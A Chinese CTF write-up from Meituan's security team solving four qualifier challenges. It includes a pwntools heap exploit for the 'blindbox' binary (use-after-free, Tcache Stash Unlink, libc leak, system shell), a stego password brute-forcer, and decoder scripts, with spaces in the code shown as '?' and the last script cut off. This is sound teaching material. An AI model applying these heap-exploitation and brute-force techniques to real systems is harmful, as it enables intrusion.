高校挑战赛 | MT-CTF线上初赛WriteUp

百家 作者:美团安全应急响应中心 2021-12-16 20:14:23

美团网络安全高校挑战赛MT-CTF初赛已于上周六结束,我们精选了4道赛题的解题思路,和大家一起学习~



Pwn:blindbox

分析过程

分析程序可以发现第一部分mmap出来的内存可以用来构造堆布局,因为这块内存的地址是能够知道的,并且在程序开始能够写入一些内容。

程序程序在正常分配堆块时能够分配的大小只有三种,并且是通过calloc分配,也就是不从tcache中取堆块。但是有一次malloc的机会,因此可以利用这次malloc从tcache取堆块。

漏洞可以进行uaf,在堆块释放后仍可以编辑和查看。但是在查看进行了过滤,不能输出带有0x7f的内容,因此这就增大了直接泄露libc地址的难度。

利用流程,先布置合适的布局,修改small bin让其bk指向mmap内存的fake chunk,通过calloc不从tcache中取堆块的特征利用Tcache Stash Unlink将fake chunk放到tcache中,利用仅有的一次malloc分配得到fake chunk,继续布置新的堆布局。再利用一次Tcache Stash Unlink在偏移三字节的地方写入一个libc地址,然后就可以输出不带0x7f的libc地址了。有了libc地址再玩一个猜数字的游戏就可以get shell。

exp.py

#encoding:utf-8
from?pwn?import?*

pwn_file?=?'./ld-2.31.so?--library-path?./?./Blindbox'
p?=?process(pwn_file.split())
#context.log_level?=?'debug'
libc?=?ELF('./libc-2.31.so')

p.recvuntil(b"Please?tell?me?your?name:\n")
p.send(p64(0)?+?p64(0x66666000-0x8)?+?p64(0)?+?p64(0))
p.recvuntil(b"lucky?number?\n")
p.sendline(str(0x90).encode())
p.recvuntil(b"lucky?number?\n")
p.sendline(str(0xa0).encode())
p.recvuntil(b"lucky?number?\n")
p.sendline(str(0x140).encode())
randNum?=?[1804289383,?846930886,?1681692777,?1714636915,?1957747793,?424238335,?719885386,?1649760492]

def?add(idx,?num):
????p.recvuntil(b">>?")
????p.sendline(b'1')
????p.recvuntil(b"want?to?choose\n")
????p.sendline(str(num).encode())
????p.recvuntil(b"Blindbox(1-3):")
????p.sendline(str(idx).encode())

def?dele(idx):
????p.recvuntil(b">>?")
????p.sendline(b'2')
????p.recvuntil(b"Which?index?do?you?want?to?drop?\n")
????p.sendline(str(idx).encode())

def?show(idx):
????p.recvuntil(b">>?")
????p.sendline(b'3')
????p.recvuntil(b"want?to?open?\n")
????p.sendline(str(idx).encode())

def?edit(idx,?content):
????p.recvuntil(b">>?")
????p.sendline(b'4')
????p.recvuntil(b"want?to?change?\n")
????p.sendline(str(idx).encode())
????p.recvuntil(b"New?content:\n")
????p.send(content)

def?wish(content):
????p.recvuntil(b">>?")
????p.sendline(b'5')
????p.recvuntil(b"your?wish:?")
????p.send(content)

def?pay(key):
????p.recvuntil(b">>?")
????p.sendline(b'6')
????for?i?in?range(8):
????????p.recvuntil(b"Please?guess>")
????????p.sendline(str(randNum[i]^key).encode())
????
for?i?in?range(4):
????add(1,?1)
????dele(1)
for?i?in?range(7):
????add(1,?0x3)
????dele(1)
????add(1,?0x2)
????dele(1)

add(1,?3)
add(2,?2)
dele(1)
add(1,?2)

add(1,?3)
add(2,?2)
dele(1)?
add(1,?2)

add(1,2)
add(3,2)
dele(3)
dele(1)

add(1,?3)
add(2,?3)
dele(1)
add(1,2)
add(1,2)

edit(3,?p64(0)?+?p64(0x66666000?-?0x10))
add(1,?1)
payload?=??p64(0xaf)?+?p64(0)?+?p64(0x66666008)?
payload?+=?p64(0x66666008?-?0x10)?+?p64(0x66666008?-?0x10?+?3)?+?p64(0)
payload?+=?b'\x00'?*?0x60
wish(payload)

add(1,?1)
show(1)
p.recvuntil(b'Blindbox:?\x00\x00\x00')
main_arena?=?u64((p.recv(5)?+?b'\x7f').ljust(8,?b'\x00'))
libc_base?=?main_arena?-?0x1EBC70
print(hex(libc_base))
key?=?libc_base?+?libc.sym['system']
pay(key)

p.interactive()



Re:superflat

分析过程

将二进制文件作为一个输入输出的黑盒进行分析。

输入一系列的字符观察输出。

可以很明显的看见,各字节的输入输出映射都是独立的。因此我们可以对输入至输出建立一个映射关系,写一个python脚本运行,提取出部分可见字符的映射关系,如下。


编写脚本将最初提供的output里的加密数据映射回输入即可。

exp.py

import?string

#?0123456789abcdefghijklmnopqrstuvwxyz-{}
map_table?=?[
????[0x40,0xce,0x45,0xbf,0x89,0x2d,0x1b,0xb4,0x26,0x9e,0x09,0x54,0xcc,0xa8,0x23,0x32,0x83,0xc7,0x21,0xaa,0xd3,0x90,0x02,0xbd,0xe2,0xbb,0xc3,0x36,0x51,0x7e,0x76,0x96,0xfc,0xe4,0x46,0xfc,0x44,0x8a,0x55,0x9d,0x3d,0x89,],
????[0x83,0x0d,0x86,0x7c,0x4a,0xee,0xd8,0x77,0xe5,0x5d,0xca,0x97,0x0f,0x6b,0xe0,0xf1,0x40,0x04,0xe2,0x69,0x10,0x53,0xc1,0x7e,0x21,0x78,0x00,0xf5,0x92,0xbd,0xb5,0x55,0x3f,0x27,0x85,0x3f,0x87,0x49,0x96,0x5e,0xfe,0x4a,],
????[0x67,0xe9,0x62,0x98,0xae,0x0a,0x3c,0x93,0x01,0xb9,0x2e,0x73,0xeb,0x8f,0x04,0x15,0xa4,0xe0,0x06,0x8d,0xf4,0xb7,0x25,0x9a,0xc5,0x9c,0xe4,0x11,0x76,0x59,0x51,0xb1,0xdb,0xc3,0x61,0xdb,0x63,0xad,0x72,0xba,0x1a,0xae,],
????[0x87,0x09,0x82,0x78,0x4e,0xea,0xdc,0x73,0xe1,0x59,0xce,0x93,0x0b,0x6f,0xe4,0xf5,0x44,0x00,0xe6,0x6d,0x14,0x57,0xc5,0x7a,0x25,0x7c,0x04,0xf1,0x96,0xb9,0xb1,0x51,0x3b,0x23,0x81,0x3b,0x83,0x4d,0x92,0x5a,0xfa,0x4e,],
????[0x5c,0xd2,0x59,0xa3,0x95,0x31,0x07,0xa8,0x3a,0x82,0x15,0x48,0xd0,0xb4,0x3f,0x2e,0x9f,0xdb,0x3d,0xb6,0xcf,0x8c,0x1e,0xa1,0xfe,0xa7,0xdf,0x2a,0x4d,0x62,0x6a,0x8a,0xe0,0xf8,0x5a,0xe0,0x58,0x96,0x49,0x81,0x21,0x95,],
????[0xd2,0x5c,0xd7,0x2d,0x1b,0xbf,0x89,0x26,0xb4,0x0c,0x9b,0xc6,0x5e,0x3a,0xb1,0xa0,0x11,0x55,0xb3,0x38,0x41,0x02,0x90,0x2f,0x70,0x29,0x51,0xa4,0xc3,0xec,0xe4,0x04,0x6e,0x76,0xd4,0x6e,0xd6,0x18,0xc7,0x0f,0xaf,0x1b,],
????[0x41,0xcf,0x44,0xbe,0x88,0x2c,0x1a,0xb5,0x27,0x9f,0x08,0x55,0xcd,0xa9,0x22,0x33,0x82,0xc6,0x20,0xab,0xd2,0x91,0x03,0xbc,0xe3,0xba,0xc2,0x37,0x50,0x7f,0x77,0x97,0xfd,0xe5,0x47,0xfd,0x45,0x8b,0x54,0x9c,0x3c,0x88,],
????[0xde,0x50,0xdb,0x21,0x17,0xb3,0x85,0x2a,0xb8,0x00,0x97,0xca,0x52,0x36,0xbd,0xac,0x1d,0x59,0xbf,0x34,0x4d,0x0e,0x9c,0x23,0x7c,0x25,0x5d,0xa8,0xcf,0xe0,0xe8,0x08,0x62,0x7a,0xd8,0x62,0xda,0x14,0xcb,0x03,0xa3,0x17,],
????[0x43,0xcd,0x46,0xbc,0x8a,0x2e,0x18,0xb7,0x25,0x9d,0x0a,0x57,0xcf,0xab,0x20,0x31,0x80,0xc4,0x22,0xa9,0xd0,0x93,0x01,0xbe,0xe1,0xb8,0xc0,0x35,0x52,0x7d,0x75,0x95,0xff,0xe7,0x45,0xff,0x47,0x89,0x56,0x9e,0x3e,0x8a,],
????[0x56,0xd8,0x53,0xa9,0x9f,0x3b,0x0d,0xa2,0x30,0x88,0x1f,0x42,0xda,0xbe,0x35,0x24,0x95,0xd1,0x37,0xbc,0xc5,0x86,0x14,0xab,0xf4,0xad,0xd5,0x20,0x47,0x68,0x60,0x80,0xea,0xf2,0x50,0xea,0x52,0x9c,0x43,0x8b,0x2b,0x9f,],
????[0xab,0x25,0xae,0x54,0x62,0xc6,0xf0,0x5f,0xcd,0x75,0xe2,0xbf,0x27,0x43,0xc8,0xd9,0x68,0x2c,0xca,0x41,0x38,0x7b,0xe9,0x56,0x09,0x50,0x28,0xdd,0xba,0x95,0x9d,0x7d,0x17,0x0f,0xad,0x17,0xaf,0x61,0xbe,0x76,0xd6,0x62,],
????[0xee,0x60,0xeb,0x11,0x27,0x83,0xb5,0x1a,0x88,0x30,0xa7,0xfa,0x62,0x06,0x8d,0x9c,0x2d,0x69,0x8f,0x04,0x7d,0x3e,0xac,0x13,0x4c,0x15,0x6d,0x98,0xff,0xd0,0xd8,0x38,0x52,0x4a,0xe8,0x52,0xea,0x24,0xfb,0x33,0x93,0x27,],
????[0xbf,0x31,0xba,0x40,0x76,0xd2,0xe4,0x4b,0xd9,0x61,0xf6,0xab,0x33,0x57,0xdc,0xcd,0x7c,0x38,0xde,0x55,0x2c,0x6f,0xfd,0x42,0x1d,0x44,0x3c,0xc9,0xae,0x81,0x89,0x69,0x03,0x1b,0xb9,0x03,0xbb,0x75,0xaa,0x62,0xc2,0x76,],
????[0x07,0x89,0x02,0xf8,0xce,0x6a,0x5c,0xf3,0x61,0xd9,0x4e,0x13,0x8b,0xef,0x64,0x75,0xc4,0x80,0x66,0xed,0x94,0xd7,0x45,0xfa,0xa5,0xfc,0x84,0x71,0x16,0x39,0x31,0xd1,0xbb,0xa3,0x01,0xbb,0x03,0xcd,0x12,0xda,0x7a,0xce,],
????[0x09,0x87,0x0c,0xf6,0xc0,0x64,0x52,0xfd,0x6f,0xd7,0x40,0x1d,0x85,0xe1,0x6a,0x7b,0xca,0x8e,0x68,0xe3,0x9a,0xd9,0x4b,0xf4,0xab,0xf2,0x8a,0x7f,0x18,0x37,0x3f,0xdf,0xb5,0xad,0x0f,0xb5,0x0d,0xc3,0x1c,0xd4,0x74,0xc0,],
????[0x77,0xf9,0x72,0x88,0xbe,0x1a,0x2c,0x83,0x11,0xa9,0x3e,0x63,0xfb,0x9f,0x14,0x05,0xb4,0xf0,0x16,0x9d,0xe4,0xa7,0x35,0x8a,0xd5,0x8c,0xf4,0x01,0x66,0x49,0x41,0xa1,0xcb,0xd3,0x71,0xcb,0x73,0xbd,0x62,0xaa,0x0a,0xbe,],
????[0xc1,0x4f,0xc4,0x3e,0x08,0xac,0x9a,0x35,0xa7,0x1f,0x88,0xd5,0x4d,0x29,0xa2,0xb3,0x02,0x46,0xa0,0x2b,0x52,0x11,0x83,0x3c,0x63,0x3a,0x42,0xb7,0xd0,0xff,0xf7,0x17,0x7d,0x65,0xc7,0x7d,0xc5,0x0b,0xd4,0x1c,0xbc,0x08,],
????[0x01,0x8f,0x04,0xfe,0xc8,0x6c,0x5a,0xf5,0x67,0xdf,0x48,0x15,0x8d,0xe9,0x62,0x73,0xc2,0x86,0x60,0xeb,0x92,0xd1,0x43,0xfc,0xa3,0xfa,0x82,0x77,0x10,0x3f,0x37,0xd7,0xbd,0xa5,0x07,0xbd,0x05,0xcb,0x14,0xdc,0x7c,0xc8,],
????[0xbd,0x33,0xb8,0x42,0x74,0xd0,0xe6,0x49,0xdb,0x63,0xf4,0xa9,0x31,0x55,0xde,0xcf,0x7e,0x3a,0xdc,0x57,0x2e,0x6d,0xff,0x40,0x1f,0x46,0x3e,0xcb,0xac,0x83,0x8b,0x6b,0x01,0x19,0xbb,0x01,0xb9,0x77,0xa8,0x60,0xc0,0x74,],
????[0x46,0xc8,0x43,0xb9,0x8f,0x2b,0x1d,0xb2,0x20,0x98,0x0f,0x52,0xca,0xae,0x25,0x34,0x85,0xc1,0x27,0xac,0xd5,0x96,0x04,0xbb,0xe4,0xbd,0xc5,0x30,0x57,0x78,0x70,0x90,0xfa,0xe2,0x40,0xfa,0x42,0x8c,0x53,0x9b,0x3b,0x8f,],
????[0x3b,0xb5,0x3e,0xc4,0xf2,0x56,0x60,0xcf,0x5d,0xe5,0x72,0x2f,0xb7,0xd3,0x58,0x49,0xf8,0xbc,0x5a,0xd1,0xa8,0xeb,0x79,0xc6,0x99,0xc0,0xb8,0x4d,0x2a,0x05,0x0d,0xed,0x87,0x9f,0x3d,0x87,0x3f,0xf1,0x2e,0xe6,0x46,0xf2,],
????[0x14,0x9a,0x11,0xeb,0xdd,0x79,0x4f,0xe0,0x72,0xca,0x5d,0x00,0x98,0xfc,0x77,0x66,0xd7,0x93,0x75,0xfe,0x87,0xc4,0x56,0xe9,0xb6,0xef,0x97,0x62,0x05,0x2a,0x22,0xc2,0xa8,0xb0,0x12,0xa8,0x10,0xde,0x01,0xc9,0x69,0xdd,],
????[0x78,0xf6,0x7d,0x87,0xb1,0x15,0x23,0x8c,0x1e,0xa6,0x31,0x6c,0xf4,0x90,0x1b,0x0a,0xbb,0xff,0x19,0x92,0xeb,0xa8,0x3a,0x85,0xda,0x83,0xfb,0x0e,0x69,0x46,0x4e,0xae,0xc4,0xdc,0x7e,0xc4,0x7c,0xb2,0x6d,0xa5,0x05,0xb1,],
????[0xdb,0x55,0xde,0x24,0x12,0xb6,0x80,0x2f,0xbd,0x05,0x92,0xcf,0x57,0x33,0xb8,0xa9,0x18,0x5c,0xba,0x31,0x48,0x0b,0x99,0x26,0x79,0x20,0x58,0xad,0xca,0xe5,0xed,0x0d,0x67,0x7f,0xdd,0x67,0xdf,0x11,0xce,0x06,0xa6,0x12,],
????[0xec,0x62,0xe9,0x13,0x25,0x81,0xb7,0x18,0x8a,0x32,0xa5,0xf8,0x60,0x04,0x8f,0x9e,0x2f,0x6b,0x8d,0x06,0x7f,0x3c,0xae,0x11,0x4e,0x17,0x6f,0x9a,0xfd,0xd2,0xda,0x3a,0x50,0x48,0xea,0x50,0xe8,0x26,0xf9,0x31,0x91,0x25,],
????[0x15,0x9b,0x10,0xea,0xdc,0x78,0x4e,0xe1,0x73,0xcb,0x5c,0x01,0x99,0xfd,0x76,0x67,0xd6,0x92,0x74,0xff,0x86,0xc5,0x57,0xe8,0xb7,0xee,0x96,0x63,0x04,0x2b,0x23,0xc3,0xa9,0xb1,0x13,0xa9,0x11,0xdf,0x00,0xc8,0x68,0xdc,],
????[0xe7,0x69,0xe2,0x18,0x2e,0x8a,0xbc,0x13,0x81,0x39,0xae,0xf3,0x6b,0x0f,0x84,0x95,0x24,0x60,0x86,0x0d,0x74,0x37,0xa5,0x1a,0x45,0x1c,0x64,0x91,0xf6,0xd9,0xd1,0x31,0x5b,0x43,0xe1,0x5b,0xe3,0x2d,0xf2,0x3a,0x9a,0x2e,],
????[0x04,0x8a,0x01,0xfb,0xcd,0x69,0x5f,0xf0,0x62,0xda,0x4d,0x10,0x88,0xec,0x67,0x76,0xc7,0x83,0x65,0xee,0x97,0xd4,0x46,0xf9,0xa6,0xff,0x87,0x72,0x15,0x3a,0x32,0xd2,0xb8,0xa0,0x02,0xb8,0x00,0xce,0x11,0xd9,0x79,0xcd,],
????[0xcb,0x45,0xce,0x34,0x02,0xa6,0x90,0x3f,0xad,0x15,0x82,0xdf,0x47,0x23,0xa8,0xb9,0x08,0x4c,0xaa,0x21,0x58,0x1b,0x89,0x36,0x69,0x30,0x48,0xbd,0xda,0xf5,0xfd,0x1d,0x77,0x6f,0xcd,0x77,0xcf,0x01,0xde,0x16,0xb6,0x02,],
????[0xd6,0x58,0xd3,0x29,0x1f,0xbb,0x8d,0x22,0xb0,0x08,0x9f,0xc2,0x5a,0x3e,0xb5,0xa4,0x15,0x51,0xb7,0x3c,0x45,0x06,0x94,0x2b,0x74,0x2d,0x55,0xa0,0xc7,0xe8,0xe0,0x00,0x6a,0x72,0xd0,0x6a,0xd2,0x1c,0xc3,0x0b,0xab,0x1f,],
????[0xd9,0x57,0xdc,0x26,0x10,0xb4,0x82,0x2d,0xbf,0x07,0x90,0xcd,0x55,0x31,0xba,0xab,0x1a,0x5e,0xb8,0x33,0x4a,0x09,0x9b,0x24,0x7b,0x22,0x5a,0xaf,0xc8,0xe7,0xef,0x0f,0x65,0x7d,0xdf,0x65,0xdd,0x13,0xcc,0x04,0xa4,0x10,],
????[0x7c,0xf2,0x79,0x83,0xb5,0x11,0x27,0x88,0x1a,0xa2,0x35,0x68,0xf0,0x94,0x1f,0x0e,0xbf,0xfb,0x1d,0x96,0xef,0xac,0x3e,0x81,0xde,0x87,0xff,0x0a,0x6d,0x42,0x4a,0xaa,0xc0,0xd8,0x7a,0xc0,0x78,0xb6,0x69,0xa1,0x01,0xb5,],
????[0xb1,0x3f,0xb4,0x4e,0x78,0xdc,0xea,0x45,0xd7,0x6f,0xf8,0xa5,0x3d,0x59,0xd2,0xc3,0x72,0x36,0xd0,0x5b,0x22,0x61,0xf3,0x4c,0x13,0x4a,0x32,0xc7,0xa0,0x8f,0x87,0x67,0x0d,0x15,0xb7,0x0d,0xb5,0x7b,0xa4,0x6c,0xcc,0x78,],
????[0xf8,0x76,0xfd,0x07,0x31,0x95,0xa3,0x0c,0x9e,0x26,0xb1,0xec,0x74,0x10,0x9b,0x8a,0x3b,0x7f,0x99,0x12,0x6b,0x28,0xba,0x05,0x5a,0x03,0x7b,0x8e,0xe9,0xc6,0xce,0x2e,0x44,0x5c,0xfe,0x44,0xfc,0x32,0xed,0x25,0x85,0x31,],
????[0xf2,0x7c,0xf7,0x0d,0x3b,0x9f,0xa9,0x06,0x94,0x2c,0xbb,0xe6,0x7e,0x1a,0x91,0x80,0x31,0x75,0x93,0x18,0x61,0x22,0xb0,0x0f,0x50,0x09,0x71,0x84,0xe3,0xcc,0xc4,0x24,0x4e,0x56,0xf4,0x4e,0xf6,0x38,0xe7,0x2f,0x8f,0x3b,],
????[0x9e,0x10,0x9b,0x61,0x57,0xf3,0xc5,0x6a,0xf8,0x40,0xd7,0x8a,0x12,0x76,0xfd,0xec,0x5d,0x19,0xff,0x74,0x0d,0x4e,0xdc,0x63,0x3c,0x65,0x1d,0xe8,0x8f,0xa0,0xa8,0x48,0x22,0x3a,0x98,0x22,0x9a,0x54,0x8b,0x43,0xe3,0x57,],
????[0x9c,0x12,0x99,0x63,0x55,0xf1,0xc7,0x68,0xfa,0x42,0xd5,0x88,0x10,0x74,0xff,0xee,0x5f,0x1b,0xfd,0x76,0x0f,0x4c,0xde,0x61,0x3e,0x67,0x1f,0xea,0x8d,0xa2,0xaa,0x4a,0x20,0x38,0x9a,0x20,0x98,0x56,0x89,0x41,0xe1,0x55,],
????[0x65,0xeb,0x60,0x9a,0xac,0x08,0x3e,0x91,0x03,0xbb,0x2c,0x71,0xe9,0x8d,0x06,0x17,0xa6,0xe2,0x04,0x8f,0xf6,0xb5,0x27,0x98,0xc7,0x9e,0xe6,0x13,0x74,0x5b,0x53,0xb3,0xd9,0xc1,0x63,0xd9,0x61,0xaf,0x70,0xb8,0x18,0xac,],
????[0xbb,0x35,0xbe,0x44,0x72,0xd6,0xe0,0x4f,0xdd,0x65,0xf2,0xaf,0x37,0x53,0xd8,0xc9,0x78,0x3c,0xda,0x51,0x28,0x6b,0xf9,0x46,0x19,0x40,0x38,0xcd,0xaa,0x85,0x8d,0x6d,0x07,0x1f,0xbd,0x07,0xbf,0x71,0xae,0x66,0xc6,0x72,]
]
plantext_table?=?string.digits?+?string.ascii_lowercase?+?"-{}"
enc?=?[
????0x77,0x9a,0xae,0x3e,0xac,0x6a,0x1b,0xb5,0x11,0x9e,0xa7,0xab,0x33,0x74,0x35,0xf5,0xca,0xc7,0xfd,0xbc,0x2c,0x02,0xac,0x61,0x21,0xba,0x00,0x7f,0x8d,0x37,0xb5,0x8a,0xfd,0xf8,0x85,0x62,0x45,0xcd,0x92,0x8b,0xaf,0x72
]
flag?=?""
for?i?in?range(len(enc)):
????for?n?in?range(len(map_table)):
????????if?enc[i]?==?map_table[n][i]:
????????????flag?+=?plantext_table[n]
print(flag)



Misc: Boom

KeePass加密

识别Database文件

访问https://keepass.info/?下载keepass,空密码查看


得到:kqucm2u2ZIrq4DLyER2C

解压压缩包,得到一张图片,有个压缩包,rar格式的,但是文件头被抹掉了,复原一下,补上52617221


把压缩包提出来,然后把图片中压缩包地方给删掉。

stegpy隐写爆破

通过stegsolve可以确定是颜色通道最低两位的隐写,而stegpy则是这种隐写方式。


解密需要密码,可以写脚本交互爆破,同时根据图片名boom,也联想到爆破。

#!/usr/bin/env?python3

#?Module?for?processing?images,?audios?and?the?least?significant?bits.

import?numpy
from?PIL?import?Image
from?.?import?crypt

MAGIC_NUMBER?=?b'stegv3'

class?HostElement:
????"""?This?class?holds?information?about?a?host?element.?"""
????def?__init__(self,?filename):
????????self.filename?=?filename
????????self.format?=?filename[-3:]
????????self.header,?self.data?=?get_file(filename)

????def?save(self):
????????self.filename?=?'_'?+?self.filename
????????if?self.format.lower()?==?'wav':
????????????sound?=?numpy.concatenate((self.header,?self.data))
????????????sound.tofile(self.filename)
????????elif?self.format.lower()?==?'gif':
????????????gif?=?[]
????????????for?frame,?palette?in?zip(self.data,?self.header[0]):
????????????????image?=?Image.fromarray(frame)
????????????????image.putpalette(palette)
????????????????gif.append(image)
????????????gif[0].save(self.filename,?save_all=True,?append_images?=?gif[1:],?loop=0,?duration=self.header[1])
????????else:
????????????if?not?self.filename.lower().endswith(('png',?'bmp',?'webp')):
????????????????print("Host?has?a?lossy?format?and?will?be?converted?to?PNG.")
????????????????self.filename?=?self.filename[:-3]?+?'png'
????????????image?=?Image.fromarray(self.data)
????????????image.save(self.filename,?lossless=True,?minimize_size=True,?optimize=True)
????????print("Information?encoded?in?{}.".format(self.filename))
????
????def?insert_message(self,?message,?bits=2,?parasite_filename=None,?password=None):
????????raw_message_len?=?len(message).to_bytes(4,?'big')
????????formatted_message?=?format_message(message,?raw_message_len,?parasite_filename)
????????if?password:
????????????formatted_message?=?crypt.encrypt_info(password,?formatted_message)
????????self.data?=?encode_message(self.data,?formatted_message,?bits)
????
????def?read_message(self,?password=None):
????????msg?=?decode_message(self.data)
????????
????????if?password:
????????????try:
????????????????salt?=?bytes(msg[:16])
????????????????msg?=?crypt.decrypt_info(password,?bytes(msg[16:]),?salt)
????????????except:
????????????????return("Wrong?password.")
????
????????check_magic_number(msg)
????????msg_len?=?int.from_bytes(bytes(msg[6:10]),?'big')
????????filename_len?=?int.from_bytes(bytes(msg[10:11]),?'big')
????
????????start?=?filename_len?+?11
????????end?=?start?+?msg_len
????????end_filename?=?filename_len?+?11
????????if(filename_len?>?0):
????????????filename?=?'_'?+?bytes(msg[11:end_filename]).decode('utf-8')
????????
????????else:
????????????text?=?bytes(msg[start:end]).decode('utf-8')
????????????print(text)
????????????return
????
????????with?open(filename,?'wb')?as?f:
????????????f.write(bytes(msg[start:end]))
????
????????print('File?{}?succesfully?extracted?from?{}'.format(filename,?self.filename))
????
????def?free_space(self,?bits=2):
????????shape?=?self.data.shape
????????self.data.shape?=?-1
????????free?=?self.data.size?*?bits?//?8
????????self.data.shape?=?shape
????????self.free?=?free
????????return?free
????
????def?print_free_space(self,?bits=2):
????????free?=?self.free_space(bits)
????????print('File:?{},?free:?(bytes)?{:,},?encoding:?4?bit'.format(self.filename,?free,?bits))

def?get_file(filename):
????'''?Returns?data?from?file?in?a?list?with?the?header?and?raw?data.?'''
????if?filename.lower().endswith('wav'):
????????content?=?numpy.fromfile(filename,?dtype=numpy.uint8)
????????content?=?content[:10000],?content[10000:]
????elif?filename.lower().endswith('gif'):
????????image?=?Image.open(filename)
????????frames?=?[]
????????palettes?=?[]
????????try:
????????????while?True:
????????????????frames.append(numpy.array(image))
????????????????palettes.append(image.getpalette())
????????????????image.seek(image.tell()+1)
????????except?EOFError:
????????????pass
????????content?=?[palettes,?image.info['duration']],?numpy.asarray(frames)
????else:
????????image?=?Image.open(filename)
????????if?image.mode?!=?'RGB':
????????????image?=?image.convert('RGB')
????????content?=?None,?numpy.array(image)
????return?content

def?format_message(message,?msg_len,?filename=None):
????if?not?filename:?#?text
????????message?=?MAGIC_NUMBER?+?msg_len?+?(0).to_bytes(1,?'big')?+?message
????else:
????????filename?=?filename.encode('utf-8')
????????filename_len?=?len(filename).to_bytes(1,?'big')
????????message?=?MAGIC_NUMBER?+?msg_len?+?filename_len?+?filename?+?message
????return?message;

def?encode_message(host_data,?message,?bits):
????'''?Encodes?the?byte?array?in?the?image?numpy?array.?'''
????shape?=?host_data.shape
????host_data.shape?=?-1,?#?convert?to?1D
????uneven?=?0
????divisor?=?8?//?bits

????print("Host?dimension:?{:,}?bytes".format(host_data.size))
????print("Message?size:?{:,}?bytes".format(len(message)))
????print("Maximum?size:?{:,}?bytes".format(host_data.size?//?divisor))
????
????check_message_space(host_data.size?//?divisor,?len(message))
?????
????if(host_data.size?%?divisor?!=?0):?#?Hacky?way?to?deal?with?pixel?arrays?that?cannot?be?divided?evenly
????????uneven?=?1
????????original_size?=?host_data.size
????????host_data?=?numpy.resize(host_data,?host_data.size?+?(divisor?-?host_data.size?%?divisor))
????
????msg?=?numpy.zeros(len(host_data)?//?divisor,?dtype=numpy.uint8)
????
????msg[:len(message)]?=?list(message)
????
????host_data[:divisor*len(message)]?&=?256?-?2?**?bits?#?clear?last?bit(s)
????for?i?in?range(divisor):
????????host_data[i::divisor]?|=?msg?>>?bits*i?&?(2?**?bits?-?1)?#?copy?bits?to?host_data
????
????operand?=?(0?if?(bits?==?1)?else?(16?if?(bits?==?2)?else?32))
????host_data[0]?=?(host_data[0]?&?207)?|?operand?#?5th?and?6th?bits?=?log_2(bits)
????
????if?uneven:
????????host_data?=?numpy.resize(host_data,?original_size)
????
????host_data.shape?=?shape?#?restore?the?3D?shape
????
????return?host_data

def?check_message_space(max_message_len,?message_len):
????'''?Checks?if?there's?enough?space?to?write?the?message.?'''
????if(max_message_len?<?message_len):
????????print('You?have?too?few?colors?to?store?that?message.?Aborting.')
????????exit(-1)
????else:
????????print('Ok.')

def?decode_message(host_data):
????'''?Decodes?the?image?numpy?array?into?a?byte?array.?'''
????host_data.shape?=?-1,?#?convert?to?1D
????bits?=?2?**?((host_data[0]?&?48)?>>?4)?#?bits?=?2?^?(5th?and?6th?bits)????
????divisor?=?8?//?bits

????if(host_data.size?%?divisor?!=?0):
????????host_data?=?numpy.resize(host_data,?host_data.size?+?(divisor?-?host_data.size?%?divisor))
????
????msg?=?numpy.zeros(len(host_data)?//?divisor,?dtype=numpy.uint8)
????
????for?i?in?range(divisor):
????????msg?|=?(host_data[i::divisor]?&?(2?**?bits?-?1))?<<?bits*i
????
????return?msg

def?check_magic_number(msg):
????if?bytes(msg[0:6])?!=?MAGIC_NUMBER:
????????print(bytes(msg[:6]))
????????print('ERROR!?No?encoded?info?found!')
????????exit(-1)

if?__name__?==?'__main__':
????message?=?'hello'.encode('utf-8')
????host?=?HostElement('gif.gif')
????host.insert_message(message,?bits=4)
????host.save()

此脚本为原python库 stegpy脚本修改,主要改动读取隐写信息函数read_message一段,命名为lsb2.py,放在stegpy库目录下/usr/local/lib/python3.6/dist-packages/stegpy

网上找常见的弱口令字典进行爆破

#coding=utf-8
from?stegpy?import?lsb2

host?=?lsb2.HostElement('flag.png')
dic?=?open('password1.txt').readlines()

for?i?in?range(len(dic)):
????tmp?=?host.read_message(dic[i][:-1])
????if?tmp?!=?"Wrong?password.":
????????break
????else:
????????print(i,?dic[i][:-1])

爆破得到密码是123123@@@

隐写内容是783d793c313030

解开压缩包得到一张图片,无法正常观看。

crc校验

很明显是crc校验错误,爆破图片的正确宽高。

import?zlib
import?struct

filename?=?'flag.png'
with?open(filename,?'rb')?as?f:
????all_b?=?f.read()
????crc32key?=?int(all_b[29:33].hex(),16)
????data?=?bytearray(all_b[12:29])
????n?=?4095????????????#理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了
????for?w?in?range(n):??????????#高和宽一起爆破
????????width?=?bytearray(struct.pack('>i',?w))?????#q为8字节,i为4字节,h为2字节
????????for?h?in?range(n):
????????????height?=?bytearray(struct.pack('>i',?h))
????????????for?x?in?range(4):
????????????????data[x+4]?=?width[x]
????????????????data[x+8]?=?height[x]
????????????crc32result?=?zlib.crc32(data)
????????????if?crc32result?==?crc32key:
????????????????print("宽为:",end="")
????????????????print(width)
????????????????print("高为:",end="")
????????????????print(height)
????????????????exit(0)

得到正确宽高后,使用winhex修改后得到

一个明显置乱后的图像,存在很明显的阿诺德置乱特征:


其中x和y表示坐标,new表示变换以后的坐标,ori表示原始的坐标(original缩写),a和b是两个可选的参数,mod为求余数操作,N是图像的长或者宽,这里只考虑长度和宽度相等的图像,上式表示的就是“图像的坐标变换”。

有了加密变换,还需要使用对应的解密变换,也就是逆变换。逆变换就是“求矩阵的逆”,对2x2的矩阵求逆就能得到下面的逆变换矩阵:

Arnold置乱算法

谷歌上搜置乱算法可以搜到一个叫做Arnold(阿诺德)置乱法的方法,之前得到的隐写内容783d793c313030转字符串为x=y<100,第一个参数可以通过增大还原次数,后两个参数需要根据提示爆破。


原理的的学习文章:https://blog.csdn.net/qq_33472557/article/details/79668662

https://en.wikipedia.org/wiki/Arnold%27s_cat_map

所需库先自行安装

pip3?install?numpy
pip3?install?opencv-python
pip3?install?matplotlib
pip3?install?*scikit-image*

根据提示x=y<100,编写解密脚本

import?numpy?as?np
import?matplotlib.pyplot
from?skimage.io?import?imread,?imshow
import?time
import?math
import?cv2

def?arnold_decode(image,?shuffle_times,?a,?b):
????decode_image?=?np.zeros(shape=image.shape)
????h,?w?=?image.shape[0],?image.shape[1]
????N?=?h?#?或N=w
????for?time?in?range(shuffle_times):
????????for?ori_x?in?range(h):
????????????for?ori_y?in?range(w):
????????????????new_x?=?((a*b+1)*ori_x?+?(-b)*?ori_y)%?N
????????????????new_y?=?((-a)*ori_x?+?ori_y)?%?N
????????????????decode_image[new_x,?new_y]?=?image[ori_x,?ori_y]
